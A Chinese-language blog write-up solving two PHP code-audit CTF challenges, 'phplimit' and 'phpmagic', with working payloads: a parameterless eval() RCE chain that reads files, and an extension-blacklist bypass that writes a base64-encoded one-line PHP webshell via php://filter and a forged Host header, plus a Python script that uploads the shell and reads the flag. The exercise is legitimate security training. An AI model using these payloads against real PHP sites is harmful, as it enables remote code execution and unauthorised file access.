今天把剩下的两道审计题目过一遍
phplimit
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
实在是令人惊讶,一看到题目就发现居然是自己前几天才整理过的无参RCE。那么上手起来就非常简单。我用的payload
/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
flag
不过还是得解释下这里题目与之前的GXTCTF禁止套娃的不同。此处的flag位置可以通过scandir()得到,只不过要加一次dirname()来查看上机目录
print_r(scandir(dirname(getcwd())));
而之前的题目,flag.php与index.php在同一目录下,那么这个区别会带来什么问题呢?
报错
没错,我们并不能读取文件,因为不在上级目录里,而且也不能使用'../'。
所以payload里chdir()的作用就是更改目录并返回bool值。所以chdir(dirname(getcwd()))
帮我们跳到/var/www/,dirname(chdir(dirname(getcwd())))
帮我们回到目录第一个文件'.',再scandir(dirname(chdir(dirname(getcwd()))))
就可以列出这一级目录,同时我们也处于这一目录中,可以利用返回的键值readfile了。
phpmagic
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
.......
<?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
?>
一开始我以为这应该是四道审计里最难的了......因为没有做过类似的题目,总是上来被代码吓到......不过细看的话思路还算清晰,而且命令执行自己也算接触过,不像function的bypass跟函数一开始都不知道......那么先过一遍吧:
首先上来自己不太理解的是
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
后来知道这叫沙盒作用户分割就清楚了。加上后面的chdir(),就起到为不同用户创建不同目录并进入这一目录的功效。之后比较清楚:log_name两个变量接受传值,然后有一个shell_exec()命令执行,会拼接上我们传的值。命令执行结果写入文件并打印。
首先得确认我们的目标:是利用文件留个shell还是直接RCE?这里注意到后面存在的escapeshellarg()和htmlspecialchars()就得权衡一下,直接RCE显然是更加困难的,那么我们就选择第一种写shell的方法。
方法参考sky师傅:https://skysec.top/2019/03/10/2018-Code-Breaking-4-phpmagic/
(师傅tql,各种题目手到擒来,文章也非常细致)
首先是$log_name
参数,在写入文件前,有一步
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
那么$_SERVER['SERVER_NAME']
是固定的还是可控的呢?答案是可控的。它可以直接由我们的host决定。比如令host=byc,log=.php我们得到的log_name就是byc.php,文件路径的问题就解决了。
然后当然是黑名单的问题。只有bypass掉以下后缀,才能写入文件。
['php', 'php3', 'php4', 'php5', 'phtml', 'pht']
问题是我也只知道这几种后缀......那显然是要利用漏洞了。那么其那面的pathinfo($log_name, PATHINFO_EXTENSION)
又是否有漏洞呢?答案也是肯定的。pathinfo只会获取最后一个.后的名称。那么直接index.php.
它返回的就是空。
然而新的问题出现了,那就是我们并不可能访问到index.php.
。
此时,我们可以用一个技巧bypass,那就是加上一个/index.php/.
就可以写入文件并绕过黑名单(但我还没找到解释这个方法操作的原理,只能把锅扔给apache解析了).
最后就是写入一句话木马了。为了解决htmlspecialchars()的问题,我们写入的一句话木马最好直接base64编码,然后我们就使用伪协议上传解码就好了。
可以使用burpsuite,HOST改为php作为log的拼接,domain传我的一句话木马<?php eval($_GET['byc']); ?>
domain=PD9waHAgZXZhbCgkX0dFVFsnYnljJ10pOyA/PiAg&log=://filter/write=convert.base64-decode/resource=a.php/.
需要注意的是,这里的base64并没出现等号,原因是因为我在自己的一句话木马后面加了几个空格。如果不加的话,base64结果会由等号结束。而这在被htmlspecialchars()滤过后无法起到getshell效果。
然后我们根据上面提到的沙盒,访问自己的沙盒。因此需要提前知道自己的本机ip,上网有很多网站可直接看,md5下即可
http://139.199.203.253:8082/data/710d7f25317a9838c611ba34edbc1974/a.php?byc=print_r(scandir(%27.%27));
访问即可确认存在,利用参数一步步拿flag吧
payload
http://139.199.203.253:8082/data/710d7f25317a9838c611ba34edbc1974/a.php?byc=readfile(%27../../../flag_phpmag1c_ur1%27);
顺带一提,自己用bp并没有成功传上去(我的bp日常出错......),所以用脚本替代了hh。脚本也贴下面吧:
import requests
url = "http://139.199.203.253:8082/"
headers = {
'Host':'php'
}
data = {
'domain':"PD9waHAgZXZhbCgkX0dFVFsnYnljJ10pOyA/PiAg",
'log':"://filter/write=convert.base64-decode/resource=a.php/."
}
r = requests.post(url,headers=headers,data=data)
url = url+"/data/710d7f25317a9838c611ba34edbc1974/a.php?byc=readfile('../../../flag_phpmag1c_ur1');"
res = requests.get(url)
print (res.text)
终于结束了代码审计的easy,不过估计做到medium还要点时间,那就日后再说了。杭电hgame也要开始了,那就先打hgame吧。
网友评论